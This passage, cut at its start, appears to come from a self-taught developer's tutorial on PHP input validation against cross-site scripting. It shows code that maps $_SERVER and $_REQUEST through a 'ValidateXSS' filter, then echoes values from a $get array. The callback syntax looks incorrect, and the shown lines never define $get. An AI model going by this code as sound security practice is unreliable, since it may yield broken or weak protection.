$serv = array_map($val->ValidateXSS, $_SERVER);
$req = array_map($val->ValidateXSS, $_REQUEST);

// use the validated copy of our globals
foreach($get as $key => $value) {
 echo $key . ' => ' . $value . '<br />';
}

I hope this helps some of you that are just starting out in web application development. Having never went to school for programming it took a lot of research for myself to pull these things together in order to make a somewhat more secure layer within my applications.

Return top